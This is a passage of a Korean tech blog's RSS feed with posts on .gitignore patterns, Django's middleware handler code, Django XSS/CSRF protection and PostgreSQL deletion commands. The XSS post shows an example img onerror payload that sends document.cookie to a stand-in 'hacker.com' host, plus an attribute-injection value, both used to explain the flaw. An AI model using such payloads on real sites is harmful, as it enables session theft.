&lt;td style=&quot;height: 19px;&quot;&gt;[]&lt;span&gt;&amp;nbsp;&lt;/span&gt;안에서 - 사이에 있는 첫 문자와 마지막 문자 범위에 있는 모든&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;문자&lt;/b&gt;들에 대해 매칭 (a-z, A-Z, 0-9 등..)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;/&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;/&lt;span&gt;&amp;nbsp;&lt;/span&gt;부터 시작하는 경로 패턴은 하위 디렉토리에 반복적으로 적용되지 않습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;!&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;!&lt;span&gt;&amp;nbsp;&lt;/span&gt;로 시작하는 패턴은&lt;span&gt;&amp;nbsp;&lt;/span&gt;.gitignore에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;제외&lt;/b&gt;되며, 무시되지 않습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;#&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;#&lt;span&gt;&amp;nbsp;&lt;/span&gt;으로 시작하면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;주석&lt;/b&gt;처리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.gitignore&lt;span&gt;&amp;nbsp;&lt;/span&gt;파일은 Glob 패턴에 따라 작성 됩니다. Glob 패턴은 와일드 카드 문자를 사용하여 일정한 패턴을 가진 파일 이름을 지정하기 위한 패턴입니다. 정규표현식과 유사한 문법들이 많습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;작성-예시&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;작성 예시&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;basic&quot;&gt;&lt;code&gt;1   # 확장자가 .js 인 파일은 무시
2   *.js
3   
4   # .js 파일들은 모두 무시되지만, test.js만은 무시하지 않음
5   !test.js
6   
7   # 현재 디렉토리에 있는 /test.js파일은 무시되지만,
8   # subDir/test.js 같이 특정 디렉토리 하위에 있는 test.js는 무시되지 않음
9   /test.js
10   
11   # node_modules/ 디렉토리에 있는 모든 파일을 무시
12   node_modules/
13   
14   # src/ 하위의 .js파일만 무시
15   src/*.js
16   
17   # src/ 하위에 존재하는 모든 디렉토리의 .txt 파일을 무시
18   src/**/*.txt
19   
20   # 현재 디렉토리와 그 하위 디렉토리 내에 존재하는 모든 .js 파일을 무시
21   /**/*.js
22   
23   # 현재 디렉토리 내에 존재하는 모든 .js .ts 파일 무시
24   /*.{js, ts}
25   
26   # 현재 디렉토리 내에 있는 ex1.js ex2.js ex3.js 파일 무시
27   /ex[1-3].js&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;참고로 개발 환경이나 언어를 입력하면 자동으로 해당하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;.gitignore&lt;span&gt;&amp;nbsp;&lt;/span&gt;파일을 생성해주는 사이트가 있습니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.toptal.com/developers/gitignore&quot;&gt;https://www.toptal.com/developers/gitignore&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;zwj;♂️&amp;nbsp;&lt;b&gt;후기&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.gitignore는 개인 프로젝트나 사내에서 프로젝트를 진행할 때 거의 필수적으로 사용하는 파일이기 때문에 익혀두시는 것을 추천드립니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt; &amp;nbsp; 참고한 글&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://victorydntmd.tistory.com/80&quot;&gt;https://victorydntmd.tistory.com/80&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://dololak.tistory.com/306&quot;&gt;https://dololak.tistory.com/306&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://velog.io/@conatuseus/.gitignore-사용하기-imk4708751&quot;&gt;https://velog.io/@conatuseus/.gitignore-사용하기-imk4708751&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://velog.io/@k7120792/Glob-패턴과-정규표현식&quot;&gt;https://velog.io/@k7120792/Glob-패턴과-정규표현식&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://git-scm.com/docs/gitignore](https://git-scm.com/docs/gitignore&quot;&gt;https://git-scm.com/docs/gitignore](https://git-scm.com/docs/gitignore&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://mygumi.tistory.com/103&quot;&gt;https://mygumi.tistory.com/103&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://gmlwjd9405.github.io/2017/10/06/make-gitignore-file.html&quot;&gt;https://gmlwjd9405.github.io/2017/10/06/make-gitignore-file.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT지식</category>
      <category>.gitignore</category>
      <category>Git</category>
      <category>꿀팁</category>
      <author>chief</author>
      <guid isPermaLink="true">https://chiefcoder.tistory.com/61</guid>
      <comments>https://chiefcoder.tistory.com/61#entry61comment</comments>
      <pubDate>Tue, 20 Sep 2022 15:00:16 +0900</pubDate>
    </item>
    <item>
      <title>[Django] WSGI handlers 분석해보기!</title>
      <link>https://chiefcoder.tistory.com/60</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp;&lt;b&gt;들어가며...&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;미들웨어를 공부하다가 장고에서 미들웨어는 request는 순서대로 들어오나 response는 역순으로 리턴되는 부분에서 왜 이렇게 설계를 했을까 하는 궁금증이 들어서 간단히 site-packages/django/core/handlers/base.py에 있는 소스를 분석해 보았습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&lt;b&gt;내용&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 저의 궁금증을 해결해줄 소스를 먼저 보여드리겠습니다.&lt;/p&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;def load_middleware(self):
    &quot;&quot;&quot;
    Populate middleware lists from settings.MIDDLEWARE_CLASSES.

    Must be called after the environment is fixed (see __call__ in subclasses).
    &quot;&quot;&quot;
    self._view_middleware = []
    self._template_response_middleware = []
    self._response_middleware = []
    self._exception_middleware = []

    request_middleware = []
    for middleware_path in settings.MIDDLEWARE_CLASSES:
        mw_class = import_string(middleware_path)
        try:
            mw_instance = mw_class()
        except MiddlewareNotUsed as exc:
            if settings.DEBUG:
                if six.text_type(exc):
                    logger.debug('MiddlewareNotUsed(%r): %s', middleware_path, exc)
                else:
                    logger.debug('MiddlewareNotUsed: %r', middleware_path)
            continue

        if hasattr(mw_instance, 'process_request'):
            request_middleware.append(mw_instance.process_request)
        if hasattr(mw_instance, 'process_view'):
            self._view_middleware.append(mw_instance.process_view)
        if hasattr(mw_instance, 'process_template_response'):
            self._template_response_middleware.insert(0, mw_instance.process_template_response)
        if hasattr(mw_instance, 'process_response'):
            self._response_middleware.insert(0, mw_instance.process_response)
        if hasattr(mw_instance, 'process_exception'):
            self._exception_middleware.insert(0, mw_instance.process_exception)

    # We only assign to this when initialization is complete as it is used
    # as a flag for initialization being complete.
    self._request_middleware = request_middleware&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 부분인데 여기서 &lt;b&gt;settings.MIDDLEWARE_CLASSES&lt;/b&gt;에서 base.py에 미리 선언해둔 MIDDLEWARE_CLASSES에 미들웨어들을&lt;/p&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;가져와서 반복문을 돌며 템플릿용/리퀘스트용/리스폰스용을 정리하면서 response에 담습니다.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;이 때, insert문을 이용하여 추가할 항목들을 리스트 0번째에 계속 밀어넣기 때문에 response에는 역순으로 담기는 것입니다. 그 다음은..&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def get_response(self, request):
    &quot;Returns an HttpResponse object for the given HttpRequest&quot;

    # Setup default url resolver for this thread, this code is outside
    # the try/except so we don't get a spurious &quot;unbound local
    # variable&quot; exception in the event an exception is raised before
    # resolver is set

    (생략)

    try:
        response = None
        # Apply request middleware
        for middleware_method in self._request_middleware:
            response = middleware_method(request)
            if response:
                break
    
        if response is None:
            if hasattr(request, 'urlconf'):
                # Reset url resolver with a custom urlconf.
                urlconf = request.urlconf
                urlresolvers.set_urlconf(urlconf)
                resolver = urlresolvers.RegexURLResolver(r'^/', urlconf)
    
            resolver_match = resolver.resolve(request.path_info)
            callback, callback_args, callback_kwargs = resolver_match
            request.resolver_match = resolver_match
    
            # Apply view middleware
            for middleware_method in self._view_middleware:
                response = middleware_method(request, callback, callback_args, callback_kwargs)
                if response:
                    break
    
        if response is None:
            wrapped_callback = self.make_view_atomic(callback)
            try:
                response = wrapped_callback(request, *callback_args, **callback_kwargs)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 위 소스와 같이 바로 밑에서 함수를 실행하게 되는데, WSGI가 쓰레드를 돌다가 소켓에서 리퀘스트를 받으면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;make_view_atomic 함수에서 미들웨어 함수를 일렬로 실행하게 됩니다. (단, 미들웨어를 종류별로 돌긴 합니다.)&lt;/p&gt;
&lt;div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;def make_view_atomic(self, view):
    non_atomic_requests = getattr(view, '_non_atomic_requests', set())
    for db in connections.all():
        if (db.settings_dict['ATOMIC_REQUESTS']
                and db.alias not in non_atomic_requests):
            view = transaction.atomic(using=db.alias)(view)
    return view&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에 소스처럼 말이죠.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만.. 미들웨어를 response에 담을때 왜 0번째에 밀어넣는지에 대한 설계이유에 대해선 아무리 구글링과 공식문서를 찾아도 나오지가 않아서 궁금증이 해결되지는 않고 분석만 하다가 끝났습니다 ㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;zwj;♂️&amp;nbsp;&lt;b&gt;후기&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;혹시나 저의 궁금증에 대해 조금이나마 정보를 가지고 계신 분들은 댓글로 공유 부탁드립니다!&lt;br /&gt;그리고 위에 분석은 저의 생각을 토대로 분석하였기 때문에 잘못된 부분에 대한 피드백은 언제나 환영입니다! 감사합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt; &amp;nbsp; 참고한 글&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.djangoproject.com/ko/4.1/topics/http/middleware/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.djangoproject.com/ko/4.1/topics/http/middleware/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1663217003046&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Middleware | Django 문서 | Django&quot; data-og-description=&quot;Django The web framework for perfectionists with deadlines. Overview Download Documentation News Community Code Issues About &amp;hearts; Donate&quot; data-og-host=&quot;docs.djangoproject.com&quot; data-og-source-url=&quot;https://docs.djangoproject.com/ko/4.1/topics/http/middleware/&quot; data-og-url=&quot;https://docs.djangoproject.com/ko/4.1/topics/http/middleware/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://docs.djangoproject.com/ko/4.1/topics/http/middleware/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.djangoproject.com/ko/4.1/topics/http/middleware/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Middleware | Django 문서 | Django&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Django The web framework for perfectionists with deadlines. Overview Download Documentation News Community Code Issues About &amp;hearts; Donate&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.djangoproject.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Django</category>
      <author>chief</author>
      <guid isPermaLink="true">https://chiefcoder.tistory.com/60</guid>
      <comments>https://chiefcoder.tistory.com/60#entry60comment</comments>
      <pubDate>Thu, 15 Sep 2022 14:00:44 +0900</pubDate>
    </item>
    <item>
      <title>[Django] 장고에서의 보안(XSS / CSRF protection)</title>
      <link>https://chiefcoder.tistory.com/59</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp;&lt;b&gt;들어가며...&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;금일 포스팅에서는 장고에서의 Cross site scripting / Cross site request forgery protection 을 알아보도록 하겠습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&lt;b&gt;내용&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span&gt;Cross site scripting (XSS) protection&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;웹 어플리케이션에서 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;주로 게시판이나 방명록 등 여러 사용자가 보게 되는 곳에 악성 스크립트가 담긴 글을 올리는 형태로 이루어집니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;이 취약점은 &lt;b&gt;&lt;span&gt;웹 어플리케이션이 사용자로부터 입력받은 값을 제대로 검사하지 않고 사용할 경우&lt;/span&gt;&lt;/b&gt; 나타납니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(ex)&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;p&amp;gt;Hello! I am a hacker.&amp;lt;/p&amp;gt;
&amp;lt;img src=&quot;#&quot; width=&quot;0&quot; heigh=&quot;0&quot;
onerror=&quot;this.src='http://hacker.com/gatherCookie.php?
cookie='+encodeURIComponent(document.cookie);&quot; /&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;장고의 템플릿은 특별히 위험한 문자인 &amp;lt;, &amp;gt;, ', '', &amp;amp; 등을 그들만이 알아볼 수 있는 특별한 문자(&amp;amp;lt; , &amp;amp;gt; 등..)로 변환시켜 스크립트가 작동하지 않게 함으로써 대부분의 XSS 공격을 막아줍니다. 하지만 이것만 믿고서 있으면 안됩니다. 예를 들어&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;style class={{ var }}&amp;gt;...&amp;lt;/style&amp;gt;  &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;다음에서 var = class1 onmouseover=javascript:func()으로 적용된다면 검증되지 않은 자바스크립트가 실행 될 것입니다. 이 외에도 이 취약점을 공격할 수 있는 방법은 많기 때문에 웹 개발자는 이를 항상 주의해야 합니다.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;Cross site request forgery (CSRF) protection&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;(유명 경매 사이트인 옥션에서&lt;/span&gt;&lt;span&gt; 이 공격으로 인해 개인정보가 유출되었다고 합니다.)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;이는 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)을 특정 웹사이트에 요청하게 하는 공격을 말합니다. &lt;/span&gt;&lt;span&gt;XSS를 이용한 공격이 사용자가 특정 웹사이트를 신용하는 점을 노린 것이라면, 이것은 특정 웹사이트가 사용자의 웹 브라우저를 신용하는 상태를 노린 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;피해자가 공격자가 준비해 둔 공격코드를 가진 웹페이지에 들어가면 피해자는 본인도 모르는 새에 공격자가 준비해 둔 요청(GET, POST)을 서버로 송신하게 됩니다. 그렇기 때문에 CSRF 방어는 모든 요청을 검사하는 방식으로 이루어지게 됩니다. 장고에서는 대부분의 CSRF 공격 타입에 대한 &lt;span&gt;built-in protection&lt;/span&gt;을 가지고 있습니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;EX)&lt;span&gt;템플릿에서 CSRF 토큰을 사용하는 예&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/23089E3A56015DEE16&quot; width=&quot;577&quot; height=&quot;54&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;요청이 가능하다고 생각되는 곳에는 이 CRSF 토큰을 사용하는 걸 습관화하는 게 좋아 보입니다.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;하지만 이 모든것이 Templates를 사용하지 않는다면 크게 중요하지는 않습니다.(render가 없으면 크게중요 X)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;zwj;♂️&amp;nbsp;&lt;b&gt;후기&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안이나 미들웨어 관련 정보들은 공식문서에 많이 나와있기 때문에 아래의 게시해 놓은 공식문서에서 여러 장고정보들을 찾아보시는 것을 추천드립니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt; &amp;nbsp; 참고한 글&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/1.8/ref/csrf/#using-csrf&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.djangoproject.com/en/1.8/ref/csrf/#using-csrf&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1662345271499&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Cross Site Request Forgery protection | Django documentation | Django&quot; data-og-description=&quot;Django The web framework for perfectionists with deadlines. Overview Download Documentation News Community Code Issues About &amp;hearts; Donate&quot; data-og-host=&quot;docs.djangoproject.com&quot; data-og-source-url=&quot;https://docs.djangoproject.com/en/1.8/ref/csrf/#using-csrf&quot; data-og-url=&quot;https://docs.djangoproject.com/en/1.8/ref/csrf/#using-csrf&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/1.8/ref/csrf/#using-csrf&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.djangoproject.com/en/1.8/ref/csrf/#using-csrf&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Cross Site Request Forgery protection | Django documentation | Django&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Django The web framework for perfectionists with deadlines. Overview Download Documentation News Community Code Issues About &amp;hearts; Donate&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.djangoproject.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Django</category>
      <author>chief</author>
      <guid isPermaLink="true">https://chiefcoder.tistory.com/59</guid>
      <comments>https://chiefcoder.tistory.com/59#entry59comment</comments>
      <pubDate>Wed, 7 Sep 2022 12:00:18 +0900</pubDate>
    </item>
    <item>
      <title>[Postgresql] DROP vs TRUNCATE vs DELETE 차이점</title>
      <link>https://chiefcoder.tistory.com/58</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp;&lt;b&gt;들어가며...&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;금일 포스팅에서는 SQL에서 흔히 쓰는 DROP, TRUNCATE, DELETE의 차이점들을 알아보겠습니다!&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;nbsp;&lt;b&gt;내용&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;차이점을 서술하기에 앞서 각각의 명령어의 특징을 알아보겠습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;&lt;b&gt;1) DELETE&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;u&gt;WHERE절을 사용&lt;/u&gt;하여 테이블에 있는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;u&gt;데이터를 하나하나 선택하여 제거&lt;/u&gt;하는 방식&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- WHERE절을 사용하지않고 테이블의 모든 데이터를 삭제하더라도, 내부적으로는 한줄 한줄 일일히 제거하는 과정을 거칩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- 처리속도가 늦고, 퍼포먼스에 좋지않은 영향을 줄 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;원하는 데이터만 골라서 삭제할 때에는 DELETE&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;사용 / 전체 데이터 삭제할 때에는 TRUNCATE 사용합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- 데이터를 삭제하더라도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;데이터가 담겨있던 Storage는 Release 되지 않습니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;DELETE된 데이터는 COMMIT 명령어를 사용하기 전이라면, ROLLBACK 명령어를 통해 되돌릴 수&lt;/b&gt;&lt;span&gt;&amp;nbsp;있습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1662341529648&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;DELETE FROM dbtable;
DELETE FROM dbtable WHERE {조건};
ROLLBACK;
COMMIT;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;&lt;b&gt;2) TRUNCATE&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
